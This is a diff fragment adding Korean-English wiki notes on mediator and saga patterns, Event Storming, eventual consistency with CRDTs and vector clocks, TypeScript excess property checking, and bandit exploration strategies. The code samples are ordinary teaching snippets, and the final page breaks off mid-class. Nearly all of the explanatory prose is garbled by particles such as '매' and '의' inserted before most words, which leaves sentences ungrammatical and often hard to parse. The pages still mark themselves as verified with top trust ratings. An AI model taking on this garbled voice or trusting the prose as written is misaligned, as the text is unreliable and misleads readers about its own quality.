|
||||
|
||||
on<K extends keyof M>(event: K, handler: (payload: M[K]) => void | Promise<void>) {
|
||||
if (!this.handlers.has(event)) this.handlers.set(event, new Set());
|
||||
this.handlers.get(event)!.add(handler);
|
||||
return () => this.handlers.get(event)!.delete(handler);
|
||||
}
|
||||
|
||||
async emit<K extends keyof M>(event: K, payload: M[K]) {
|
||||
const hs = this.handlers.get(event);
|
||||
if (!hs) return;
|
||||
await Promise.all([...hs].map(h => h(payload)));
|
||||
}
|
||||
}
|
||||
|
||||
const bus = new EventMediator<EventMap>();
|
||||
bus.on('user.signup', async ({ userId, email }) => {
|
||||
await sendWelcomeEmail(email);
|
||||
});
|
||||
```
|
||||
|
||||
### Mediator with Request/Response (MediatR-style)
|
||||
```typescript
|
||||
interface IRequest<TResponse> { __response?: TResponse }
|
||||
interface IHandler<TReq extends IRequest<TRes>, TRes> {
|
||||
handle(req: TReq): Promise<TRes>;
|
||||
}
|
||||
|
||||
class Mediator {
|
||||
private handlers = new Map<Function, IHandler<any, any>>();
|
||||
register<T extends IRequest<R>, R>(reqCtor: new (...a: any[]) => T, h: IHandler<T, R>) {
|
||||
this.handlers.set(reqCtor, h);
|
||||
}
|
||||
async send<R>(req: IRequest<R>): Promise<R> {
|
||||
const h = this.handlers.get(req.constructor);
|
||||
if (!h) throw new Error(`No handler for ${req.constructor.name}`);
|
||||
return h.handle(req);
|
||||
}
|
||||
}
|
||||
|
||||
class GetUserQuery implements IRequest<User> { constructor(public id: string) {} }
|
||||
class GetUserHandler implements IHandler<GetUserQuery, User> {
|
||||
async handle(q: GetUserQuery) { return db.users.findById(q.id); }
|
||||
}
|
||||
```
|
||||
|
||||
### Saga Mediator (orchestrated)
|
||||
```typescript
|
||||
class OrderSaga {
|
||||
constructor(private bus: EventMediator<OrderEvents>) {
|
||||
bus.on('order.created', this.onCreated.bind(this));
|
||||
bus.on('payment.failed', this.onPaymentFailed.bind(this));
|
||||
}
|
||||
async onCreated({ orderId }: { orderId: string }) {
|
||||
await this.bus.emit('payment.requested', { orderId });
|
||||
}
|
||||
async onPaymentFailed({ orderId, reason }: any) {
|
||||
await this.bus.emit('order.cancelled', { orderId, reason });
|
||||
await this.bus.emit('inventory.released', { orderId });
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Middleware Pipeline
|
||||
```typescript
|
||||
type Middleware<E> = (event: E, next: () => Promise<void>) => Promise<void>;
|
||||
|
||||
class PipelineMediator<E> {
|
||||
private middlewares: Middleware<E>[] = [];
|
||||
use(m: Middleware<E>) { this.middlewares.push(m); }
|
||||
async dispatch(event: E) {
|
||||
let i = -1;
|
||||
const run = async (idx: number): Promise<void> => {
|
||||
if (idx <= i) throw new Error('next() called twice');
|
||||
i = idx;
|
||||
const fn = this.middlewares[idx];
|
||||
if (fn) await fn(event, () => run(idx + 1));
|
||||
};
|
||||
await run(0);
|
||||
}
|
||||
}
|
||||
// usage: logging, validation, retry, dead-letter
|
||||
```
|
||||
|
||||
### Cross-Service Mediator (Kafka)
|
||||
```typescript
|
||||
import { Kafka } from 'kafkajs';
|
||||
|
||||
const kafka = new Kafka({ brokers: ['localhost:9092'] });
|
||||
const producer = kafka.producer();
|
||||
const consumer = kafka.consumer({ groupId: 'order-svc' });
|
||||
|
||||
await consumer.subscribe({ topic: 'orders', fromBeginning: false });
|
||||
await consumer.run({
|
||||
eachMessage: async ({ message }) => {
|
||||
const evt = JSON.parse(message.value!.toString());
|
||||
await handler[evt.type]?.(evt.payload);
|
||||
},
|
||||
});
|
||||
|
||||
await producer.send({
|
||||
topic: 'orders',
|
||||
messages: [{ key: orderId, value: JSON.stringify({ type: 'order.placed', payload }) }],
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 2-3 components 의 direct call | 매 mediator skip — 매 over-engineering |
|
||||
| 5+ components, fan-out broadcast | 매 in-process EventEmitter |
|
||||
| CQRS / clean architecture | 매 MediatR-style request bus |
|
||||
| Cross-service, durability | 매 Kafka / RabbitMQ |
|
||||
| Long-running workflow | 매 saga orchestrator (Temporal, Inngest) |
|
||||
|
||||
**기본값**: 매 typed in-process EventEmitter (Node) 또는 MediatR (.NET) — 매 cross-service 의 Kafka.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Design-Patterns]] · [[Event-Driven-Architecture]]
|
||||
- 변형: [[Observer-Pattern]] · [[Pub-Sub]]
|
||||
- 응용: [[CQRS]] · [[Microservices]]
|
||||
- Adjacent: [[Event-Sourcing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 N×N coupling 의 emerge — 매 5+ components 매 mutual callbacks. CQRS / saga implementation.
|
||||
**언제 X**: 매 simple 2-component dependency — 매 direct injection 매 sufficient. Hot-path latency-critical (mediator dispatch overhead).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **God Mediator**: 매 mediator 매 business logic 의 absorb — 매 anemic handlers, 매 mediator 의 1000+ lines. Mediator 의 routing only.
|
||||
- **Event soup**: 매 untyped string events — 매 'user_signup' vs 'userSignup' typo 의 silent failure. Typed map 의 use.
|
||||
- **Sync chain pretending async**: 매 emit() 매 await chain 의 200ms latency — 매 async queue 의 use.
|
||||
- **Lost events**: 매 in-memory bus 매 crash 의 lose — 매 durability 매 required 의 persistent queue.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (GoF Design Patterns; MediatR docs; NestJS CQRS).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Event Mediator pattern 의 typed/saga/Kafka 의 5 patterns |
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
---
|
||||
id: wiki-2026-0508-event-storming
|
||||
title: Event Storming
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [EventStorming, DDD discovery workshop]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.92
|
||||
verification_status: applied
|
||||
tags: [ddd, modeling, workshop, architecture, discovery]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: methodology
|
||||
framework: ddd
|
||||
---
|
||||
|
||||
# Event Storming
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 sticky-note 의 도메인 의 explosion"**. Alberto Brandolini 의 2013 invent, 매 domain experts + devs 의 한 방 (혹은 Miro/FigJam) 에 모여 매 orange sticky note (domain event) 의 timeline 의 plot. 매 2026 의 매 distributed workshop tool (Miro AI, FigJam AI) 의 매 LLM-assisted aggregation 의 standard.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 sticky note color convention
|
||||
- 🟧 **Orange** — Domain Event (past tense — "OrderPlaced", "PaymentReceived").
|
||||
- 🟦 **Blue** — Command (intent — "PlaceOrder", "RefundPayment").
|
||||
- 🟨 **Yellow** — Actor / Persona.
|
||||
- 🟪 **Purple** — Policy / Reactive logic ("when X then Y").
|
||||
- 🟩 **Green** — Read Model / View.
|
||||
- 🟥 **Red / Pink** — Hotspot / Issue (매 unclear / disagreement).
|
||||
- ⬜ **White** — Aggregate (매 consistency boundary).
|
||||
- 🟫 **Brown** — External system.
|
||||
|
||||
### 매 3 levels
|
||||
1. **Big Picture** — 매 entire business — 매 chaos exploration, 매 hours.
|
||||
2. **Process Level** — 매 한 process flow — 매 commands / policies / read models.
|
||||
3. **Design Level** — 매 aggregate / bounded context — 매 implementation 의 input.
|
||||
|
||||
### 매 step-by-step (Big Picture)
|
||||
1. **Chaotic exploration** — 매 모두 orange events 의 plaster.
|
||||
2. **Timeline** — 매 left → right 의 sort.
|
||||
3. **Pivotal events** — 매 phase boundary 의 mark.
|
||||
4. **Hotspot identification** — 매 red sticky 의 disagreement.
|
||||
5. **Bounded context** — 매 swimlane 의 split.
|
||||
|
||||
### 매 응용
|
||||
1. Greenfield DDD design — 매 aggregate / bounded context discovery.
|
||||
2. Legacy understanding — 매 domain knowledge 의 surface.
|
||||
3. Microservice decomposition — 매 service boundary 의 inform.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pattern 1: Miro-export → JSON event log
|
||||
```typescript
|
||||
interface DomainEvent {
|
||||
id: string;
|
||||
name: string; // PascalCase past tense
|
||||
timestamp: number; // 매 column index
|
||||
aggregate?: string;
|
||||
triggeredBy?: string; // command id
|
||||
hotspots: string[];
|
||||
}
|
||||
|
||||
const events: DomainEvent[] = [
|
||||
{ id: "e1", name: "OrderPlaced", timestamp: 1, aggregate: "Order",
|
||||
triggeredBy: "c1", hotspots: [] },
|
||||
{ id: "e2", name: "PaymentReceived", timestamp: 2, aggregate: "Payment",
|
||||
triggeredBy: "c2", hotspots: ["partial-payment-policy"] },
|
||||
];
|
||||
```
|
||||
|
||||
### Pattern 2: Event → TypeScript event type
|
||||
```typescript
|
||||
// 매 sticky 의 code 의 transition
|
||||
export type OrderEvent =
|
||||
| { type: "OrderPlaced"; orderId: string; items: Item[]; placedAt: Date }
|
||||
| { type: "OrderPaid"; orderId: string; paymentId: string }
|
||||
| { type: "OrderShipped"; orderId: string; trackingNo: string }
|
||||
| { type: "OrderCancelled"; orderId: string; reason: string };
|
||||
```
|
||||
|
||||
### Pattern 3: Policy as code
|
||||
```typescript
|
||||
// Purple sticky: "When OrderPaid then schedule shipment"
|
||||
function onOrderPaid(e: Extract<OrderEvent, {type:"OrderPaid"}>) {
|
||||
shipmentService.schedule({ orderId: e.orderId });
|
||||
}
|
||||
eventBus.on("OrderPaid", onOrderPaid);
|
||||
```
|
||||
|
||||
### Pattern 4: Aggregate boundary check
|
||||
```typescript
|
||||
// 매 white sticky 의 invariant
|
||||
class OrderAggregate {
|
||||
private events: OrderEvent[] = [];
|
||||
place(items: Item[]) {
|
||||
if (items.length === 0) throw new Error("empty order");
|
||||
this.events.push({ type: "OrderPlaced", orderId: this.id, items, placedAt: new Date() });
|
||||
}
|
||||
// 매 모든 mutation 의 매 event 의 emit.
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 5: Bounded context map (Mermaid)
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph Sales
|
||||
Order
|
||||
Cart
|
||||
end
|
||||
subgraph Billing
|
||||
Payment
|
||||
Invoice
|
||||
end
|
||||
subgraph Logistics
|
||||
Shipment
|
||||
end
|
||||
Order -- "OrderPlaced" --> Payment
|
||||
Payment -- "OrderPaid" --> Shipment
|
||||
```
|
||||
|
||||
### Pattern 6: AI-assisted event extraction (2026)
|
||||
```typescript
|
||||
// 매 transcript / Miro export → event suggestions
|
||||
const prompt = `From this user interview, extract domain events (PascalCase past tense),
|
||||
commands, and hotspots. Output JSON matching: { events:[], commands:[], hotspots:[] }.
|
||||
|
||||
Interview: ${transcript}`;
|
||||
const result = await claude.messages.create({
|
||||
model: "claude-opus-4-7",
|
||||
max_tokens: 4000,
|
||||
messages: [{ role: "user", content: prompt }],
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Greenfield complex domain | Big Picture → Process → Design |
|
||||
| Legacy reverse engineering | Big Picture only |
|
||||
| Microservice split | Process Level + bounded context |
|
||||
| Small CRUD app | Skip — overkill |
|
||||
| Distributed team | Miro / FigJam + AI summarizer |
|
||||
|
||||
**기본값**: 매 complex domain 시 Big Picture (4 hours), 매 implementation 직전 Design Level.
|
||||
|
||||
## 🔗 Graph
|
||||
- 응용: [[Bounded Context]] · [[CQRS]]
|
||||
- Adjacent: [[Event Sourcing]] · [[User Story Mapping]] · [[C4 Model]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 domain discovery, 매 microservice boundary 의 find, 매 onboarding 의 understanding.
|
||||
**언제 X**: 매 trivial CRUD, 매 well-known domain (e.g., todo app).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Tech-first sticky**: 매 "INSERT INTO orders" — 매 domain event 의 X.
|
||||
- **Present tense**: 매 "PlaceOrder" 의 event 의 X — 매 command.
|
||||
- **No business expert**: 매 dev-only — 매 EventStorming purpose 의 lost.
|
||||
- **Skip hotspot**: 매 red sticky 의 ignore — 매 가장 valuable disagreement.
|
||||
- **Premature aggregate**: 매 Big Picture 에서 white sticky 의 too early.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brandolini "Introducing EventStorming" book 2021, DDD Europe talks).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — sticky color + 3 levels + AI-assisted |
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
---
|
||||
id: wiki-2026-0508-eventual-consistency
|
||||
title: Eventual Consistency
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Eventual Consistency, BASE, AP System]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [distributed-systems, database, consistency, cap]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: sql
|
||||
framework: cassandra
|
||||
---
|
||||
|
||||
# Eventual Consistency
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 update 후 충분한 시간이 지나면 매 모든 replica 가 같은 값에 수렴한다"**. 매 Eventual Consistency는 CAP theorem 의 AP 선택 — strong consistency 의 latency/availability cost 대신 매 staleness 허용. DynamoDB, Cassandra, Riak 의 default model. 2026 globally-distributed system 의 매 default trade-off.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 CAP & PACELC
|
||||
- **CAP**: partition 시 Consistency vs Availability 택 1
|
||||
- **PACELC** (Abadi): partition 없을 때도 Latency vs Consistency
|
||||
- 매 Eventual = AP + EL (Else Latency)
|
||||
- 매 strong consistency 는 quorum write/read latency cost
|
||||
|
||||
### 매 BASE vs ACID
|
||||
- **B**asically **A**vailable: 매 partial failure 시 partial response
|
||||
- **S**oft state: 매 state 는 변할 수 있음 (replica sync)
|
||||
- **E**ventual consistency: 매 시간이 지나면 수렴
|
||||
- 매 ACID와 trade-off — choose per use case
|
||||
|
||||
### 매 응용
|
||||
1. DNS (TTL-based eventual).
|
||||
2. CDN cache invalidation.
|
||||
3. Social media feed (read-your-writes는 보장).
|
||||
4. Shopping cart (Amazon Dynamo paper).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Cassandra tunable consistency
|
||||
```python
|
||||
from cassandra.cluster import Cluster
|
||||
from cassandra import ConsistencyLevel
|
||||
from cassandra.query import SimpleStatement
|
||||
|
||||
cluster = Cluster(['node1', 'node2', 'node3'])
|
||||
session = cluster.connect('myapp')
|
||||
|
||||
# 매 write: ONE = fast, eventual; QUORUM = stronger
|
||||
write = SimpleStatement(
|
||||
"INSERT INTO users (id, name) VALUES (%s, %s)",
|
||||
consistency_level=ConsistencyLevel.QUORUM
|
||||
)
|
||||
session.execute(write, (user_id, name))
|
||||
|
||||
# 매 R + W > N → strong consistency
|
||||
# 매 R=1, W=1, N=3 → eventual
|
||||
```
|
||||
|
||||
### CRDT (G-Counter, conflict-free)
|
||||
```python
|
||||
class GCounter:
|
||||
def __init__(self, node_id: str):
|
||||
self.node_id = node_id
|
||||
self.counts = {node_id: 0}
|
||||
|
||||
def increment(self):
|
||||
self.counts[self.node_id] += 1
|
||||
|
||||
def value(self) -> int:
|
||||
return sum(self.counts.values())
|
||||
|
||||
def merge(self, other: 'GCounter'):
|
||||
# 매 idempotent + commutative + associative
|
||||
for nid, count in other.counts.items():
|
||||
self.counts[nid] = max(self.counts.get(nid, 0), count)
|
||||
```
|
||||
|
||||
### Vector Clock (causal ordering)
|
||||
```python
|
||||
class VectorClock:
|
||||
def __init__(self, node_id):
|
||||
self.node_id = node_id
|
||||
self.clock = {}
|
||||
|
||||
def tick(self):
|
||||
self.clock[self.node_id] = self.clock.get(self.node_id, 0) + 1
|
||||
|
||||
def update(self, other_clock):
|
||||
for nid, ts in other_clock.items():
|
||||
self.clock[nid] = max(self.clock.get(nid, 0), ts)
|
||||
self.tick()
|
||||
|
||||
def happens_before(self, other) -> bool:
|
||||
return all(self.clock.get(k, 0) <= other.clock.get(k, 0)
|
||||
for k in self.clock) and self.clock != other.clock
|
||||
```
|
||||
|
||||
### Read-your-writes (sticky session)
|
||||
```nginx
|
||||
upstream backend {
|
||||
ip_hash; # 매 same client → same backend → reads see own writes
|
||||
server backend1;
|
||||
server backend2;
|
||||
server backend3;
|
||||
}
|
||||
```
|
||||
|
||||
### Last-Write-Wins (DynamoDB style)
|
||||
```python
|
||||
def lww_merge(local: dict, remote: dict) -> dict:
|
||||
if remote['updated_at'] > local['updated_at']:
|
||||
return remote
|
||||
elif remote['updated_at'] < local['updated_at']:
|
||||
return local
|
||||
else:
|
||||
# 매 tie-break by node_id
|
||||
return remote if remote['node_id'] > local['node_id'] else local
|
||||
```
|
||||
|
||||
### Hinted Handoff (Cassandra)
|
||||
```yaml
|
||||
# cassandra.yaml
|
||||
hinted_handoff_enabled: true
|
||||
max_hint_window_in_ms: 10800000 # 매 3 hours
|
||||
# 매 down node 회복 시 hint replay → eventual consistency 보장
|
||||
```
|
||||
|
||||
### Anti-Entropy (Merkle tree sync)
|
||||
```python
|
||||
def merkle_sync(local_tree, remote_tree, path=""):
|
||||
if local_tree.hash == remote_tree.hash:
|
||||
return # 매 subtree identical, skip
|
||||
if local_tree.is_leaf:
|
||||
sync_data(path)
|
||||
return
|
||||
for i, (l, r) in enumerate(zip(local_tree.children, remote_tree.children)):
|
||||
merkle_sync(l, r, path + f"/{i}")
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Consistency |
|
||||
|---|---|
|
||||
| Bank transfer | Strong (linearizable) |
|
||||
| Social feed | Eventual |
|
||||
| Shopping cart | Eventual + LWW |
|
||||
| Counter (likes, views) | Eventual + CRDT |
|
||||
| Configuration / leader election | Strong (Raft, etcd) |
|
||||
| User profile | Read-your-writes |
|
||||
|
||||
**기본값**: 매 eventual + CRDT (counter, set, register). 매 money / lock / unique-id 는 strong.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Distributed Systems]] · [[CAP Theorem]]
|
||||
- 변형: [[Strong Consistency]] · [[Read-Your-Writes]]
|
||||
- 응용: [[Cassandra]] · [[CRDT]]
|
||||
- Adjacent: [[Vector Clock]] · [[Quorum]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 system design interview, distributed DB 선택, conflict resolution strategy.
|
||||
**언제 X**: 매 financial transaction, inventory deduction — strong consistency 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **모든 곳에 eventual**: 매 money/lock 도 eventual → 매 double-spend, race.
|
||||
- **Conflict ignore**: 매 LWW만 쓰고 user-visible conflict 무시 → 매 silent data loss.
|
||||
- **No bounded staleness**: 매 sync 영원히 안 됨 → "eventual" 의미 무.
|
||||
- **Vector clock 무한 성장**: 매 GC/pruning 없음 → 매 metadata explosion.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (DeCandia et al., "Dynamo: Amazon's Highly Available Key-value Store", 2007).
|
||||
- Verified (Brewer, CAP Theorem, PODC 2000).
|
||||
- Verified (Vogels, "Eventually Consistent", CACM 2009).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — CAP/BASE + CRDT + Dynamo patterns |
|
||||
+157
@@ -0,0 +1,157 @@
|
||||
---
|
||||
id: wiki-2026-0508-excess-property-checking
|
||||
title: Excess Property Checking
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [TypeScript Excess Property, Strict Object Literal]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [typescript, type-system, structural-typing]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: none
|
||||
---
|
||||
|
||||
# Excess Property Checking
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 fresh object literal 의 only 의 strict property check"**. TypeScript 매 structural typing 매 normally 의 extra properties 의 allow, 매 but 의 fresh object literal 의 directly 의 typed slot 의 assign 시 매 extra properties 의 error 의 raise. Typo 방지 + intent clarity 의 design choice.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Why exists
|
||||
- 매 structural typing 매 `{a:1, b:2}` 의 `{a:number}` 의 assignable.
|
||||
- 매 그러나 매 literal 매 typo 의 high risk — `{ colour: 'red' }` 매 `{ color?: string }` 매 silent ignore.
|
||||
- 매 TS 매 fresh literal 의 special-case — 매 `Object literal may only specify known properties` 의 error.
|
||||
|
||||
### 매 Fresh-ness 매 lost
|
||||
- 매 variable 의 assign 시 매 widened — `const x = { extra: 1 }; fn(x)` 매 ok.
|
||||
- 매 spread 매 fresh-ness 의 keep (TS 4.0+).
|
||||
- 매 type assertion `as T` 매 bypass.
|
||||
- 매 index signature `[k: string]: ...` 매 disable.
|
||||
|
||||
### 매 응용
|
||||
1. React props typo detection.
|
||||
2. Config object validation.
|
||||
3. API request body shape enforcement.
|
||||
4. Discriminated union narrowing aid.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic excess error
|
||||
```typescript
|
||||
interface Point { x: number; y: number }
|
||||
const p: Point = { x: 1, y: 2, z: 3 };
|
||||
// ^^^^ Object literal may only specify known properties
|
||||
```
|
||||
|
||||
### Bypass via intermediate variable
|
||||
```typescript
|
||||
const tmp = { x: 1, y: 2, z: 3 };
|
||||
const p: Point = tmp; // OK — fresh-ness lost
|
||||
// Use this only when extra properties are intentional
|
||||
```
|
||||
|
||||
### Index signature 의 opt-out
|
||||
```typescript
|
||||
interface Config {
|
||||
name: string;
|
||||
[key: string]: unknown; // 매 extra props 의 allow
|
||||
}
|
||||
const c: Config = { name: 'x', debug: true, port: 3000 }; // OK
|
||||
```
|
||||
|
||||
### React props 의 typo guard
|
||||
```typescript
|
||||
type ButtonProps = { label: string; onClick: () => void };
|
||||
function Button(props: ButtonProps) { /* ... */ }
|
||||
|
||||
<Button label="Save" onCick={save} />
|
||||
// ^^^^^ Property 'onCick' does not exist
|
||||
// Excess property check catches typo at JSX call site
|
||||
```
|
||||
|
||||
### Discriminated union with strict checks
|
||||
```typescript
|
||||
type Shape =
|
||||
| { kind: 'circle'; radius: number }
|
||||
| { kind: 'square'; side: number };
|
||||
|
||||
const s: Shape = { kind: 'circle', radius: 5, side: 3 };
|
||||
// ^^^^ excess
|
||||
// 매 kind 의 narrow 의 'circle', 매 side 의 not allowed
|
||||
```
|
||||
|
||||
### Spread 의 preserve fresh-ness (TS 4.0+)
|
||||
```typescript
|
||||
type T = { a: number };
|
||||
const base = { a: 1 };
|
||||
const x: T = { ...base, b: 2 }; // 매 error — b 의 excess
|
||||
```
|
||||
|
||||
### Optional excess via Exact type emulation
|
||||
```typescript
|
||||
type Exact<T, U extends T> = T & {
|
||||
[K in Exclude<keyof U, keyof T>]: never;
|
||||
};
|
||||
|
||||
function strict<T>() {
|
||||
return <U extends T>(x: Exact<T, U>): T => x as T;
|
||||
}
|
||||
|
||||
const point = strict<Point>()({ x: 1, y: 2, z: 3 });
|
||||
// ^^^^ Type 'number' is not assignable to 'never'
|
||||
// 매 variable assign path 의 also 의 strict
|
||||
```
|
||||
|
||||
### Util: 매 satisfies operator (TS 4.9+)
|
||||
```typescript
|
||||
const config = {
|
||||
endpoint: 'https://api.example.com',
|
||||
timeout: 5000,
|
||||
retries: 3,
|
||||
} satisfies { endpoint: string; timeout: number };
|
||||
// ^^^^ 매 retries 의 excess error
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Config / DTO literal | 매 default check 의 leverage |
|
||||
| Plugin system 의 unknown extras | 매 index signature 의 add |
|
||||
| Test fixture 의 extra debug fields | 매 intermediate var 또는 `as` |
|
||||
| 매 strict 의 want 의 variable path | 매 `Exact` helper 또는 `satisfies` |
|
||||
| Library author 의 strict API | 매 `satisfies` 또는 nominal brand |
|
||||
|
||||
**기본값**: 매 default behavior 의 leverage — 매 typo 매 catch. 매 escape 매 minimize, 매 `satisfies` 의 prefer.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript]] · [[TypeScript 타입 시스템 (TypeScript Type System)|Type-System]]
|
||||
- 변형: [[Structural Typing|Structural-Typing]] · [[Satisfies-Operator]]
|
||||
- Adjacent: [[API 응답 및 상태 모델링 (State Modeling and API Responses)|Discriminated-Unions]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 typo-prone literal — config, props, API body. Schema-bound inputs.
|
||||
**언제 X**: 매 plugin / metadata 의 extra props 매 intentional — 매 index signature 의 add.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **`as T` 의 bypass habit**: 매 error 의 mask, 매 typo 의 ship — 매 fix 의 root cause.
|
||||
- **Index signature 의 over-permissive**: 매 모든 class 매 `[k: string]: any` 의 add — 매 type safety 의 destroy.
|
||||
- **Intermediate var 의 escape**: 매 `const x = {...}; fn(x)` 매 intent 의 obscure — 매 명시적 cast 의 prefer.
|
||||
- **`satisfies` 의 ignore**: 매 TS 4.9+ 매 widening 없는 strict literal 의 best tool — 매 underused.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (TS handbook "Object Types"; TS 4.9 release notes).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — excess property check + satisfies/Exact patterns |
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
---
|
||||
id: wiki-2026-0508-exploration-vs-exploitation
|
||||
title: Exploration vs Exploitation
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Explore-Exploit, Multi-Armed Bandit Tradeoff, RL Tradeoff]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [reinforcement-learning, bandits, decision-theory, optimization]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: numpy
|
||||
---
|
||||
|
||||
# Exploration vs Exploitation
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 known-best 의 exploit 의 unknown 의 explore 의 fundamental tradeoff"**. Exploration-exploitation dilemma 매 RL · bandits · A/B testing 의 core — 매 current best action 의 only 의 take 시 매 better unknown 의 miss, 매 too much explore 시 매 reward 의 burn. Optimal balance 매 horizon, prior, regret budget 의 function.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Spectrum
|
||||
- **Pure exploit (greedy)**: 매 always 매 argmax Q(a) — 매 local optimum trap.
|
||||
- **Pure explore (random)**: 매 always uniform — 매 expected regret O(T).
|
||||
- **ε-greedy**: 매 prob ε 매 explore, 매 prob 1−ε 매 exploit.
|
||||
- **UCB**: 매 confidence-bounded 매 deterministic explore.
|
||||
- **Thompson Sampling**: 매 posterior sampling 매 Bayesian optimal.
|
||||
|
||||
### 매 Regret bounds
|
||||
- 매 ε-greedy(static): O(T).
|
||||
- 매 ε-greedy(decaying 1/t): O(log T).
|
||||
- 매 UCB1: O(log T) — provably tight for stochastic bandit.
|
||||
- 매 Thompson Sampling: matches Lai-Robbins lower bound.
|
||||
|
||||
### 매 응용
|
||||
1. A/B/n testing — adaptive traffic allocation.
|
||||
2. Recommender systems — cold start.
|
||||
3. Hyperparameter tuning (Optuna, Vizier).
|
||||
4. RL games — Atari, AlphaGo MCTS.
|
||||
5. LLM 매 sampling temperature, top-p.
|
||||
6. Drug trials — bandit-style adaptive design.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### ε-greedy bandit
|
||||
```python
|
||||
import numpy as np
|
||||
|
||||
class EpsilonGreedy:
|
||||
def __init__(self, k, eps=0.1):
|
||||
self.k = k
|
||||
self.eps = eps
|
||||
self.Q = np.zeros(k)
|
||||
self.N = np.zeros(k)
|
||||
|
||||
def select(self):
|
||||
if np.random.rand() < self.eps:
|
||||
return np.random.randint(self.k)
|
||||
return int(np.argmax(self.Q))
|
||||
|
||||
def update(self, a, r):
|
||||
self.N[a] += 1
|
||||
self.Q[a] += (r - self.Q[a]) / self.N[a]
|
||||
```
|
||||
|
||||
### UCB1
|
||||
```python
|
||||
class UCB1:
|
||||
def __init__(self, k):
|
||||
self.k, self.t = k, 0
|
||||
self.Q = np.zeros(k)
|
||||
self.N = np.zeros(k)
|
||||
|
||||
def select(self):
|
||||
self.t += 1
|
||||
for a in range(self.k):
|
||||
if self.N[a] == 0:
|
||||
return a # cold-start each arm once
|
||||
ucb = self.Q + np.sqrt(2 * np.log(self.t) / self.N)
|
||||
return int(np.argmax(ucb))
|
||||
|
||||
def update(self, a, r):
|
||||
self.N[a] += 1
|
||||
self.Q[a] += (r - self.Q[a]) / self.N[a]
|
||||
```
|
||||
|
||||
### Thompson Sampling (Bernoulli)
|
||||
```python
|
||||
class ThompsonBernoulli:
|
||||
def __init__(self, k):
|
||||
